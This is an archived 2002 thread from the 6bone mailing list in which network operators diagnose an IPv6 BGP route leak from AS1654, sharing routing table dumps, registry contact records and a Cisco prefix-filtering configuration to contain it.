> * i3FFE:2000::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:2100::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:2200::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:2400::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:2500::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *                   3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> * i3FFE:2600::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>    Network          Next Hop            Metric LocPrf Weight Path
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> *>i3FFE:2610:2::/48 3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 3274 8432 i
> *>i3FFE:2610:10::/48
>                     3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 3274 1342 i
> *>i3FFE:2650:1::/48 3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 3274 8812 i
> *>i3FFE:26FF:8::/48 3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 3274 24751 i
> *>i3FFE:26FF:A::/48 3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 3274 16023 i
> *>i3FFE:26FF:10::/48
>                     3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 3274 8145 i
> * i3FFE:2800::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:2900::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> *>i3FFE:2900:2004::/48
>                     3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 8002 4538 65272 i
> *  3FFE:2A00::/24   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *                   3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:2B00::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:2C00::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:2F00::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
>    Network          Next Hop            Metric LocPrf Weight Path
> * i3FFE:3100::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:3200::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> *>i3FFE:327E:1::/48 3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 8002 4538 65272 i
> * i3FFE:3300::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:3400::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:3500::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:3600::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:3700::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:3800::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
>    Network          Next Hop            Metric LocPrf Weight Path
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:3900::/24   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:4000::/32   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:4003::/32   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> * i3FFE:4004::/32   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> *  3FFE:4005::/32   3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *>i3FFE:4005:A::/48 3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 8002 4538 65272 i
> * i3FFE:4006::/32   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> * i3FFE:4007::/32   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> *                   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *>                  3FFE:82B0:0:1:1::19
>                                                            0 
> 15982 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> *  3FFE:4008::/32   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> *                   2001:750:E::A                          0 
> 15589 1654 i
> *  3FFE:4009::/32   3FFE:82B0:0:1:1::15
>                                                            0 
> 24765 1654 i
> * i3FFE:400A::/32   3FFE:82B0:0:1:1::5
>                                                   100      0 
> 6830 1654 i
> 
> 
> Joergen Hovland
> WebOnline AS
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

From nicolas.deffayet@ndsoftware.net Wed Aug 14 10:58:41 2002
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From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: 6bone@ISI.EDU
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Date: 14 Aug 2002 19:59:31 +0200
Message-Id: <1029347971.674.85.camel@wks1-1.corp.ndsoftware.com>
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Subject: [6bone] Problem with AS1654
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Hi all,

Problem with AS1654: they announce all prefix originate from their AS.

route-server.ndsoftwarenet.net> show ipv6 bgp regexp 1654
BGP table version is 0, local router ID is 10.0.1.2
Status codes: s suppressed, d damped, h history, * valid, > best, i -
internal
Origin codes: i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
*>i2001:200::/35    3ffe:81f1:0:1::1
                                           600    100      0 1654 i
* i                 3ffe:81f1:0:1::1
                                           600    100      0 1654 i
*>i2001:208::/32    3ffe:81f1:0:1::1
                                           600    100      0 1654 i
* i                 3ffe:81f1:0:1::1
                                           600    100      0 1654 i
*>i2001:210::/35    3ffe:81f1:0:1::1
                                           600    100      0 1654 i
* i                 3ffe:81f1:0:1::1
                                           600    100      0 1654 i
*>i2001:218::/35    3ffe:81f1:0:1::1
                                           600    100      0 1654 i
* i                 3ffe:81f1:0:1::1
                                           600    100      0 1654 i
*>i2001:220::/35    3ffe:81f1:0:1::1
                                           600    100      0 1654 i
* i                 3ffe:81f1:0:1::1
                                           600    100      0 1654 i
*>i2001:228::/35    3ffe:81f1:0:1::1
                                           600    100      0 1654 i
* i                 3ffe:81f1:0:1::1
                                           600    100      0 1654 i
*>i2001:230::/35    3ffe:81f1:0:1::1
                                           600    100      0 1654 i
* i                 3ffe:81f1:0:1::1
                                           600    100      0 1654 i
*>i2001:238::/35    3ffe:81f1:0:1::1
                                           600    100      0 1654 i
* i                 3ffe:81f1:0:1::1
                                           600    100      0 1654 i
*>i2001:240::/32    3ffe:81f1:0:1::1
                                           600    100      0 1654 i
* i                 3ffe:81f1:0:1::1
                                           600    100      0 1654 i
*>i2001:240::/35    3ffe:81f1:0:1::1
                                           600    100      0 1654 i
* i                 3ffe:81f1:0:1::1
                                           600    100      0 1654 i
*>i2001:248::/35    3ffe:81f1:0:1::1
                                           600    100      0 1654 i
* i                 3ffe:81f1:0:1::1
                                           600    100      0 1654 i
<cut>
Total number of prefixes 252
route-server.ndsoftwarenet.net>

telnet route-server.ndsoftwarenet.net for complete list.

Best Regards,

Nicolas DEFFAYET


From tvo@EnterZone.Net Wed Aug 14 11:01:03 2002
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Date: Wed, 14 Aug 2002 14:00:52 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Fredrik Widell <fredrik@sunet.se>
cc: =?iso-8859-1?Q?J=F8rgen_Hovland?= <jorgen@hovland.cx>,
   6bone@mailman.isi.edu, abuse@sunet.se, ipv6@sics.se, lalle@sics.se,
   joyride@sics.se
Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
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On Wed, 14 Aug 2002, Fredrik Widell wrote:

> On Wed, 14 Aug 2002, John Fraizer wrote:
> 
> >
> > May I make the humble request that anyone who peers with SUNET admin-down
> > the sessions until such time as the clue delivery can be made to them?
> 
> 
> Well, actually, this is not sunet doing this, this is a customer of
> sunet who is borrowing an as from us having not one of their own,
> hopefully we will make them stop quite soon.
> 
> 

OK. 

ipv6-site:    SICS
origin:       AS1654
descr:        Swedish Institute of Computer Science
              Kista, SWEDEN
country:      SE
prefix:       3FFE:200::/24

person:       Lars Albertsson
address:      SICS (Swedish Institute of Computer Science)
phone:        +46 8 633 15 51
e-mail:       lalle@sics.se
nic-hdl:      LAL1-6BONE
remarks:      Nickname Lalle
notify:       lalle@sics.se
changed:      lalle@sics.se 20010119
source:       6BONE

person:       Mikael Nehlsen
address:      SICS (Swedish Institute of Computer Science)
phone:        +46 8 633 1553
e-mail:       joyride@sics.se
nic-hdl:      JOY1-6BONE
notify:       joyride@sics.se
changed:      joyride@sics.se 20010626
source:       6BONE


Will anyone who peers with SICS please admin down the peering session
until the clue delivery is completed?


SICS: You're announcing everything with 1654 as the origin AS.  It is
causing problems for many people on the v6 network.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From jesper@skriver.dk Wed Aug 14 11:08:51 2002
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Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
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On Wed, Aug 14, 2002 at 01:40:41PM -0400, John Fraizer wrote:
> 
> 
> On Wed, 14 Aug 2002, [iso-8859-1] Jørgen Hovland wrote:
> 
> > Anybody alive from sunet here? You are announcing every route with
> > your AS as last-hop. It is causing us CRITICAL downtime, and probably
> > more than half of all the other STLA/pTLA's too.
> > 
> > Anybody peering with SUNET: please fix this.
> > 
> > ...snip...
> > *                   2001:750:E::A                          0 15589 1654 i
> > * i3FFE:1D00::/24   3FFE:82B0:0:1:1::5
> >                                                   100      0 6830 1654 i
> > *                   3FFE:82B0:0:1:1::15
> >                                                            0 24765 1654 i
> > *>                  3FFE:82B0:0:1:1::19
> >                                                            0 15982 1654 i
> > *                   2001:750:E::A                          0 15589 1654 i
> >    Network          Next Hop            Metric LocPrf Weight Path
> > * i3FFE:1E00::/24   3FFE:82B0:0:1:1::5
> >                                                   100      0 6830 1654 i
> 
> 
> Cute.
> 
> SUNET (ASN-SWEDEN)
>    SUNET/KTH
>    SE
> 
>    Autonomous System Name: SWEDEN
>    Autonomous System Number: 1654
> 
>    Record last updated on 30-Dec-1991.
>    Database last updated on  13-Aug-2002 20:01:19 EDT.
> 
> 
> That should be illegal.  No contact information, what-so-ever.
> 
> May I make the humble request that anyone who peers with SUNET admin-down
> the sessions until such time as the clue delivery can be made to them?

AS1653 is their production AS the contact details is:

role:         KTHNOC Royal Institute of Technology Network Operating Centre
address:      Royal Institute of Technology
address:      KTHNOC
address:      S-100 44  STOCKHOLM
address:      Sweden
phone:        +46 8 790 6000
fax-no:       +46 8 24 11 79
e-mail:       kthnoc@sunet.se
trouble:      -----------------------------------------------------
trouble:      For operational problems contact kthnoc@sunet.se
trouble:      in case of abuse originating from AS1653 or customers
trouble:      thereof, please contact abuse@sunet.se, otherwise
trouble:      atleast do a traceroute and contact the correct ISP.
trouble:      -----------------------------------------------------
admin-c:      FW526-RIPE
tech-c:       FW526-RIPE
tech-c:       BEGO1-RIPE
tech-c:       MAT17-RIPE
tech-c:       JOG4-RIPE
tech-c:       MN1334-RIPE
tech-c:       BJRH1-RIPE
tech-c:       PNI2-RIPE
tech-c:       HAFI1-RIPE
tech-c:       JONI3-RIPE
tech-c:       BE10
nic-hdl:      NOC34-RIPE
remarks:      We run SUNET and NORDUnet
notify:       kthnoc@sunet.se
mnt-by:       SUNET-MNT
changed:      fredrik@sunet.se 20020417
changed:      fredrik@sunet.se 20020606
source:       RIPE


/Jesper

-- 
Jesper Skriver, jesper(at)skriver(dot)dk  -  CCIE #5456
Senior network engineer @ AS3292, TDC Tele Danmark

One Unix to rule them all, One Resolver to find them,
One IP to bring them all and in the zone to bind them.

From jeroen@unfix.org Wed Aug 14 11:06:49 2002
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To: "'Bob Fink'" <fink@es.net>, <6bone@ISI.EDU>
Subject: RE: [6bone] pTLA request by Euro6IX project for 
Date: Wed, 14 Aug 2002 20:07:44 +0200
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Bob Fink wrote:

> Freenet6 helps, but can't be expected to handle all the demand.

Fortunatly there are MANY others; check out http://hs247.com and not to
forget
http://dmoz.org/Computers/Internet/Protocols/IP/IPng/

Also, IPv6 is a *lot* bigger out side of the US ;)

Greets,
 Jeroen


From gert@Space.Net Wed Aug 14 11:22:55 2002
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Date: Wed, 14 Aug 2002 20:22:52 +0200
From: Gert Doering <gert@space.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: =?iso-8859-1?Q?J=F8rgen_Hovland?= <jorgen@hovland.cx>,
   6bone@mailman.isi.edu, abuse@sunet.se
Subject: Re: [6bone] SUNET announcing ALL IPv6 routes
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Hi,

On Wed, Aug 14, 2002 at 01:40:41PM -0400, John Fraizer wrote:
> Cute.
> 
> SUNET (ASN-SWEDEN)
>    SUNET/KTH
>    SE
> 
>    Autonomous System Name: SWEDEN
>    Autonomous System Number: 1654
> 
>    Record last updated on 30-Dec-1991.
>    Database last updated on  13-Aug-2002 20:01:19 EDT.
> 
> 
> That should be illegal.  No contact information, what-so-ever.

The RA-DB has contact information, but I have some doubts that it's 
correct - BC is known to have some in-depth BGP understanding...

$ whois -h whois.ra.net AS1654

aut-num:      AS1654
as-name:      UNSPECIFIED
descr:        Test AS
import:       from AS2603
              action pref=100;
              accept ANY
import:       from AS1653
              action pref=100;
              accept ANY
import:       from AS12381
              action pref=100;
              accept ANY
export:       to AS2603
              announce AS1654
export:       to AS1653
              announce AS1654
export:       to AS12381
              announce AS1654
admin-c:      BC83-RIPE
tech-c:       BC83-RIPE
mnt-by:       BC-MNT
changed:      bc@sunet.se 20010321
source:       RIPE

person:       Bjorn Carlsson
address:      EBONE
address:      Parkvagen 2A
address:      S-16935 Solna
address:      Sweden
phone:        +46 (0)8 7906601
fax-no:       +46 (0)8 241179
e-mail:       bc@ebone.net
nic-hdl:      BC83-RIPE
mnt-by:       BC-MNT
changed:      bc@ebone.net 20010412
source:       RIPE


Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tvo@EnterZone.Net Wed Aug 14 11:33:09 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: "Jorgensen, Roger" <RJorgensen@upctechnology.com>
cc: =?iso-8859-1?Q?=27J=F8rgen_Hovland=27?= <jorgen@hovland.cx>,
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Subject: RE: [6bone] SUNET announcing ALL IPv6 routes
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On Wed, 14 Aug 2002, Jorgensen, Roger wrote:

> Jorgen,
> 
> It's not sunet, it's sics that use that ASN. www.sics.se.
> Check sics@whois.6bone.net.
> 
> Probably just borrowing the ASN from sunet. Here is what we
> saw before I shut down the peering: 
> http://www2.ipv6.chello.com/bogus/file0035.html
> Pretty bad?:)

OK.  I'm not trying to sound elitist here but, if an organization doesn't
have their OWN ASN, and the associated clue, why on earth would you risk
an open, no filtering, peering session with them?

I'm not saying that an organization having an ASN (their own) is equal to
an organization having clue but, it is more likely than not.

> But this is not the first time one ASN is announcing the entire sTLA/pTLA
> list. It has happend before and would probably happend again.
> Question is really, how are we suppose to filter this kind of things on
> a transit peering? Limited amount of prefixes we can accept from an AS?

If they don't have their own ASN, filter tightly.  If they screw up like
this, filter even more tightly.


If you accept transit from someone, prefix-list filter them like so:

 neighbor 3ffe:xxxx:xxxx:x::x activate
 neighbor 3ffe:xxxx:xxxx:x::x next-hop-self
 neighbor 3ffe:xxxx:xxxx:x::x prefix-list subTLA-only out
 neighbor 3ffe:xxxx:xxxx:x::x route-map AS-SOMEPEER in
!
ipv6 prefix-list AS-SOMEPEER seq 10 permit 3ffe:xxxx::/32
ipv6 prefix-list AS-SOMEPEER seq 20 permit 2001:xxxx::/32
ipv6 prefix-list subTLA-only seq 1 permit 3ffe:1ced::/32
ipv6 prefix-list subTLA-only seq 5 permit 3ffe::/18 ge 24 le 24
ipv6 prefix-list subTLA-only seq 10 permit 3ffe:4000::/18 ge 32 le 32
ipv6 prefix-list subTLA-only seq 15 permit 3ffe:8000::/20 ge 28 le 28
ipv6 prefix-list subTLA-only seq 20 permit 2000::/3 ge 16 le 16
ipv6 prefix-list subTLA-only seq 25 permit 2001::/16 ge 29 le 35
ipv6 prefix-list subTLA-only seq 30 permit 2002::/16
ipv6 prefix-list subTLA-only seq 500 deny any
!
ip as-path access-list AS-SOMEPEER permit ^(_NNNNN)+$
!

route-map AS-SOMEPEER permit 10
 match ipv6 address prefix-list AS-SOMEPEER
 match ipv6 address prefix-list subTLA-only
 match as-path AS-SOMEPEER
!
route-map AS-SOMEPEER permit 20
 match ipv6 address prefix-list AS-SOMEPEER
 match as-path AS-SOMEPEER
 set community no-export additive
!
route-map AS-SOMEPEER deny 30
 match as-path AS-SOMEPEER
!
route-map AS-SOMEPEER permit 40
 match ipv6 address prefix-list subTLA-only
!


In the first route-map stanza, we accept their prefixes that are not more
specific than the allocation boundries, as long as they show their ASN as
the origin.

In the second route-map stanza, we accept any "more specifics" that we
might have put in their prefix-list, as long as they show their ASN as the
origin but, since we don't want to leak these more specifics to the global
tables, we tag them as no-export.

In the third route-map stanza, we deny anything else that they send us
that shows THEM as the origin.  This keeps them from announcing every
prefix on the planet with them as the origin (like the case we're
discussing).

In the fourth route-map stanza, we accept anything that has not been
denied (didn't match their prefix-list but, did match their origin) as
long as it is within the allocation boundries.  This will allow you to
accept transit from them (within the allocation boundries) but, won't
allow them to screw up like they did today.


Simple, huh?

I love problem solving!

Filter, filter, filter on both ingress and egress.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From dios-vol@telecom.noc.udg.mx Wed Aug 14 11:34:27 2002
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Date: Wed, 14 Aug 2002 13:28:39 -0500 (CDT)
From: Harold de Dios Tovar Volunt <dios-vol@telecom.noc.udg.mx>
To: Gert Doering <gert@space.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Could someone filter AS1654, please?
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We have this result from our side about AS1654 and seems to be ok...
sh bgp ipv6 regexp 1654
BGP table version is 130902, local router ID is 148.202.15.8
Status codes: s suppressed, d damped, h history, * valid, > best, i -
internal
Origin codes: i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
*> 2001:618:B::/48  3FFE:C00:8023:2F::1
                                                           0 109 8002 1654
64633 i
*> 2001:658:217::/48
                    3FFE:C00:8023:2F::1
                                                           0 109 15180
6939 9044 1654 64633 i
*> 2001:768:1800::/40
                    3FFE:C00:8023:2F::1
                                                           0 109 15180
6939 9044 1654 64633 i


** Texto sin acentos
        ,,,
       /'^'\
      ( o o )  N.O.C  &  IPv6 staff working Group
--oOOo--(_)--oOOo---------------------------------
|___|___|___|___|___|___|___|___|___|___|___|___|__
|___|___|___|___| Harold de Dios, harold@noc.udg.mx |__
__|_.oooO_|___|___| UdeG, Network Operation Center   |__
____(   )___Oooo.___| Work: 011(52)3331342232 ext.2220 |
-----\ (----(  )----------------------------------------
             \  


On Wed, 14 Aug 2002, Gert Doering wrote:

> Hi,
> 
> I have no idea what they are doing, but I don't like the result - 1654
> seems to re-announce all current IPv6 routes under their own AS as origin:
> 
> cisco25#sh bgp ipv6 reg 1654$
> BGP table version is 2014133, local router ID is 193.149.44.35
> Status codes: s suppressed, d damped, h history, * valid, > best, i - internal
> Origin codes: i - IGP, e - EGP, ? - incomplete
> 
>    Network          Next Hop            Metric LocPrf Weight Path
> * i2001:208::/32    2001:608:0:3::1          9    100      0 8379 15982 1654 i
> *>i                 2001:608:0:3::5          9    100      0 8379 15982 1654 i
> *                   3FFE:2A00:100:7FF3::1
>                                             30             0 2603 1275 5609 1654 i
> *                   2001:658:0:1::1         30             0 8627 6830 8973 1654 i
> *                   2001:608:0:3::B         30             0 3292 6830 8973 1654 i
> *                   2001:780::4             30             0 12337 6830 8973 1654 i
> *                   2001:680:0:1::4         30             0 517 790 6830 8973 1654 i
> *                   3FFE:8150:0:1::17
>                                            200             0 9044 8002 5609 1654 i
> * i2001:210::/35    2001:608:0:3::1          9    100      0 8379 15982 1654 i
> *>i                 2001:608:0:3::5          9    100      0 8379 15982 1654 i
> [truncated]
> * i2001:238::/35    2001:608:0:3::1          9    100      0 8379 15982 1654 i
> *>i                 2001:608:0:3::5          9    100      0 8379 15982 1654 i
> *  2001:240::/35    2001:658:0:1::1         30             0 8627 6830 1654 i
> *  2001:240::/32    2001:658:0:1::1         30             0 8627 6830 1654 i
> *                   2001:680:0:1::4         30             0 517 790 8627 6830 1654 i
> *  2001:248::/35    2001:608:0:3::B         30             0 3292 6830 8973 1654 i
> * i2001:250::/35    2001:608:0:3::1          9    100      0 8379 15982 1654 i
> *>i                 2001:608:0:3::5          9    100      0 8379 15982 1654 i
> *  2001:260::/35    2001:608:0:3::B         30             0 3292 6830 8973 1654 i
> *                   2001:780::4             30             0 12337 6830 8973 1654 i
> *                   2001:680:0:1::4         30             0 517 8472 6830 1654 i
> *  2001:268::/32    2001:680:0:1::4         30             0 517 790 8627 6830 1654 i
> *                   2001:658:0:1::1         30             0 8627 6830 1654 i
> *  2001:270::/35    2001:600:4:1D1::1
> * i2001:288::/35    2001:608:0:3::1          9    100      0 8379 15982 1654 i
> *>i                 2001:608:0:3::5          9    100      0 8379 15982 1654 i
> 
> (and so on).
> 
> I'd appreciate if some of their peers could apply some gracious filtering...
> 
> Gert Doering
>         -- NetMaster
> -- 
> Total number of prefixes smaller than registry allocations:  46871 (46631)
> 
> SpaceNet AG                 Mail: netmaster@Space.Net
> Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> 80807 Muenchen              Fax : +49-89-32356-299
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From Robert.Kiessling@de.easynet.net Wed Aug 14 11:42:46 2002
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John Fraizer <tvo@EnterZone.Net> writes:

> Looking from AS7660's point of view at
> http://www.jp.apan.net/cgi-bin/ipv6/mrlg

Well, this is one of their routers. Though not that one peering with
the ASes which show up before 7660 in the ghost paths (10109 and
22388).

Robert


From michel@arneill-py.sacramento.ca.us Wed Aug 14 11:47:31 2002
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Subject: RE: [6bone] the end of ngtrans
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> Bill Manning wrote: 
> There are no plans to depricate the mailing list.

Forgive me if I ask dumb questions, but have you heard anything about
the informal oversight being transferred to v6ops, or to Bob Fink (which
I believe is the de-facto situation)? What else do we know?

Michel.



From tvo@EnterZone.Net Wed Aug 14 11:50:08 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Harold de Dios Tovar Volunt <dios-vol@telecom.noc.udg.mx>
cc: Gert Doering <gert@space.net>, 6bone@ISI.EDU
Subject: Re: [6bone] Could someone filter AS1654, please?
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On Wed, 14 Aug 2002, Harold de Dios Tovar Volunt wrote:

> We have this result from our side about AS1654 and seems to be ok...
> sh bgp ipv6 regexp 1654
> BGP table version is 130902, local router ID is 148.202.15.8
> Status codes: s suppressed, d damped, h history, * valid, > best, i -
> internal
> Origin codes: i - IGP, e - EGP, ? - incomplete
> 
>    Network          Next Hop            Metric LocPrf Weight Path
> *> 2001:618:B::/48  3FFE:C00:8023:2F::1
>                                                            0 109 8002 1654
> 64633 i
> *> 2001:658:217::/48
>                     3FFE:C00:8023:2F::1
>                                                            0 109 15180
> 6939 9044 1654 64633 i
> *> 2001:768:1800::/40
>                     3FFE:C00:8023:2F::1
>                                                            0 109 15180
> 6939 9044 1654 64633 i
> 
> 


I still show them as the origin for 63 prefixes from both 6bone and RIR
space.  It's down from what it was previously but, I'd bet that is the
result of folks filtering/downing peering sessions vs them actually fixing
their problem.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From michel@arneill-py.sacramento.ca.us Wed Aug 14 12:14:52 2002
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Subject: RE: [6bone] pTLA request by Euro6IX project for exchange  experimentation - review closes 3 Sep 2002
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Rik,

>> Joao Luis Silva Damas wrote:
>> Come on, these two cases were OK up to the point where
>> people could not  get any other type of IPv6 addresses
>> but now they are just normal businness.

>> Rik van Riel wrote:
>> Yeah right.  I doubt ipv6 is that widely
>> available already.

You might want to read the following thread on the v6ops and/or ngtrans
mailing list, started this morning: (ngtrans) v6 considered operational

http://ops.ietf.org/lists/v6ops/v6ops.2002/msg00000.html

Michel.


From admin@euroshells.dk Wed Aug 14 12:17:29 2002
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Subject: [6bone] Just a few newbie questions
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Hey all!

Interested in trying to peer with someone how do I proceed?

I am mostly interested in knowing what kind of equipment/software is =
needed.
Like Cisco routers (I have a 1605 and a 806 here) and/or Linux box... =
which of those would be preferred?

Med venlig hilsen // Best Regards
=20
Rasmus Haslund

System Administrator
EuroShells.dk
=20
Phone: +45 86 - 19 19 34=20
Direct: +45 26 - 80 60 13=20
E-mail: admin@euroshells.dk
Web: http://www.euroshells.dk

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
